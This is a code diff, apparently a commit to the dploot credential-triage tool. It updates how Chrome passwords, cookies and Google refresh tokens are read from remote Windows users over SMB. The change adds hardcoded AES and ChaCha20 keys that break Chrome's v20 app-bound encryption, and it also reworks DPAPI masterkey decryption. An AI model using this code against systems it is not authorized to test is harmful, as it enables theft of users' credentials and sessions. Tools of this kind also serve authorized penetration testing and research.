11import base64
2- from Cryptodome .Cipher import AES
2+ from Cryptodome .Cipher import AES , ChaCha20_Poly1305
33from binascii import hexlify
44import json
55import logging
99from impacket .structure import Structure
1010
1111
12- from dploot .lib .consts import FALSE_POSITIVES
1312from dploot .lib .dpapi import decrypt_blob , find_masterkey_for_blob
1413from dploot .lib .smb import DPLootSMBConnection
1514from dploot .lib .target import Target
@@ -47,12 +46,20 @@ def key(self):
4746 return self ._key
4847 if len (self ["Key" ]) == 32 :
4948 self ._key = self ["Key" ]
50- else : # from https://gist.github.com/thewh1teagle/d0bbc6bc678812e39cba74e1d407e5c7
51- key = base64 .b64decode ("sxxuJBrIRnKNqcH6xJNmUc/7lE0UOrgWJ2vMbaAoR4c=" )
49+ else : # from https://github.com/runassu/chrome_v20_decryption/blob/main/decrypt_chrome_v20_cookie.py
50+ aes_key = bytes .fromhex ("B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787" )
51+ chacha20_key = bytes .fromhex ("E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660" )
52+ flag = self ["Key" ][0 ]
5253 iv = self ["Key" ][1 :13 ]
5354 encrypted_text = self ["Key" ][13 :45 ]
54- cipher = AES .new (key , AES .MODE_GCM , nonce = iv )
55- self ._key = cipher .decrypt (ciphertext = encrypted_text )
55+ if flag == 1 :
56+ cipher = AES .new (aes_key , AES .MODE_GCM , nonce = iv )
57+ self ._key = cipher .decrypt (ciphertext = encrypted_text )
58+ elif flag == 2 :
59+ cipher = ChaCha20_Poly1305 .new (key = chacha20_key , nonce = iv )
60+ self ._key = cipher .decrypt (ciphertext = encrypted_text )
61+ else :
62+ raise ValueError (f"Unsupported flag: { flag } " )
5663 return self ._key
5764
5865@dataclass
@@ -165,7 +172,7 @@ def __init__(
165172 conn : DPLootSMBConnection ,
166173 masterkeys : List [Masterkey ],
167174 per_secret_callback : Callable = None ,
168- false_positive : List [str ] = FALSE_POSITIVES ,
175+ false_positive : List [str ] | None = None ,
169176 ) -> None :
170177 super ().__init__ (
171178 target ,
@@ -235,35 +242,40 @@ def triage_chrome_browsers_for_user(
235242 f"Found { browser .upper ()} AppData files for user { user } "
236243 )
237244 aesStateKey_json = json .loads (aesStateKey_bytes )
238- profiles = aesStateKey_json ['profile' ]['profiles_order' ]
239- blob = base64 .b64decode (aesStateKey_json ["os_crypt" ]["encrypted_key" ])
240- if blob [:5 ] == b"DPAPI" :
241- dpapi_blob = blob [5 :]
242- masterkey = find_masterkey_for_blob (
243- dpapi_blob , masterkeys = self .masterkeys
244- )
245- if masterkey is not None :
246- aeskey = decrypt_blob (
247- blob_bytes = dpapi_blob , masterkey = masterkey
248- )
249-
250- if "app_bound_encrypted_key" in aesStateKey_json ["os_crypt" ]:
251- app_bound_blob = base64 .b64decode (aesStateKey_json ["os_crypt" ]["app_bound_encrypted_key" ])
252- dpapi_blob = app_bound_blob [4 :] # Trim off APPB
253- masterkey = find_masterkey_for_blob (
245+ try :
246+ blob = base64 .b64decode (aesStateKey_json ["os_crypt" ]["encrypted_key" ])
247+ if blob [:5 ] == b"DPAPI" :
248+ dpapi_blob = blob [5 :]
249+ masterkey = find_masterkey_for_blob (
254250 dpapi_blob , masterkeys = self .masterkeys
255251 )
256- if masterkey is not None :
257- intermediate_key = decrypt_blob (
258- blob_bytes = dpapi_blob , masterkey = masterkey
259- )
252+ if masterkey is not None :
253+ aeskey = decrypt_blob (
254+ blob_bytes = dpapi_blob , masterkey = masterkey
255+ )
256+
257+ if "app_bound_encrypted_key" in aesStateKey_json ["os_crypt" ]:
258+ app_bound_blob = base64 .b64decode (aesStateKey_json ["os_crypt" ]["app_bound_encrypted_key" ])
259+ dpapi_blob = app_bound_blob [4 :] # Trim off APPB
260260 masterkey = find_masterkey_for_blob (
261- intermediate_key , masterkeys = self .masterkeys
262- )
263- if masterkey :
264- app_bound_key = AppBoundKey (decrypt_blob (
265- blob_bytes = intermediate_key , masterkey = masterkey
266- )).key
261+ dpapi_blob , masterkeys = self .masterkeys
262+ )
263+ if masterkey is not None :
264+ intermediate_key = decrypt_blob (
265+ blob_bytes = dpapi_blob , masterkey = masterkey
266+ )
267+ masterkey = find_masterkey_for_blob (
268+ intermediate_key , masterkeys = self .masterkeys
269+ )
270+ if masterkey :
271+ app_bound_key = AppBoundKey (decrypt_blob (
272+ blob_bytes = intermediate_key , masterkey = masterkey
273+ )).key
274+ profiles = aesStateKey_json ['profile' ]['profiles_order' ]
275+ except KeyError as e :
276+ logging .debug (f"Key not found! { repr (e )} " )
277+ # logging.debug(f"{aesStateKey_json=}")
278+
267279 for profile in profiles :
268280 loginData_bytes = self .conn .readFile (
269281 shareName = self .share ,
@@ -289,14 +301,14 @@ def triage_chrome_browsers_for_user(
289301 for url , username , encrypted_password in lines :
290302 password = None
291303 try :
292- if encrypted_password [:3 ] == "v20" :
304+ if encrypted_password [:3 ] == b "v20" :
293305 password = decrypt_chrome_password (
294306 encrypted_password , app_bound_key
295- )
307+ ). decode ( "utf-8" )
296308 else :
297309 password = decrypt_chrome_password (
298310 encrypted_password , aeskey
299- )
311+ ). decode ( "utf-8" )
300312 except Exception as e :
301313 logging .debug (f"Could not decrypt chrome cookie: { e } " )
302314 login_data_decrypted = LoginData (
@@ -347,11 +359,11 @@ def triage_chrome_browsers_for_user(
347359 if encrypted_cookie [:3 ] == b"v20" :
348360 decrypted_cookie_value = decrypt_chrome_password (
349361 encrypted_cookie , app_bound_key
350- )
362+ )[ 32 :]. decode ( "utf-8" )
351363 else :
352364 decrypted_cookie_value = decrypt_chrome_password (
353365 encrypted_cookie , aeskey
354- )
366+ ). decode ( "utf-8" )
355367 except Exception as e :
356368 logging .debug (f"Could not decrypt chrome cookie: { e } " )
357369 cookie = Cookie (
@@ -391,7 +403,7 @@ def triage_chrome_browsers_for_user(
391403 lines = query .fetchall ()
392404 if len (lines ) > 0 :
393405 for service , encrypted_grt in lines :
394- token = decrypt_chrome_password (encrypted_grt , aeskey )
406+ token = decrypt_chrome_password (encrypted_grt , aeskey ). decode ( "utf-8" )
395407 google_refresh_token = GoogleRefreshToken (
396408 winuser = user , browser = browser , service = service , token = token
397409 )
0 commit comments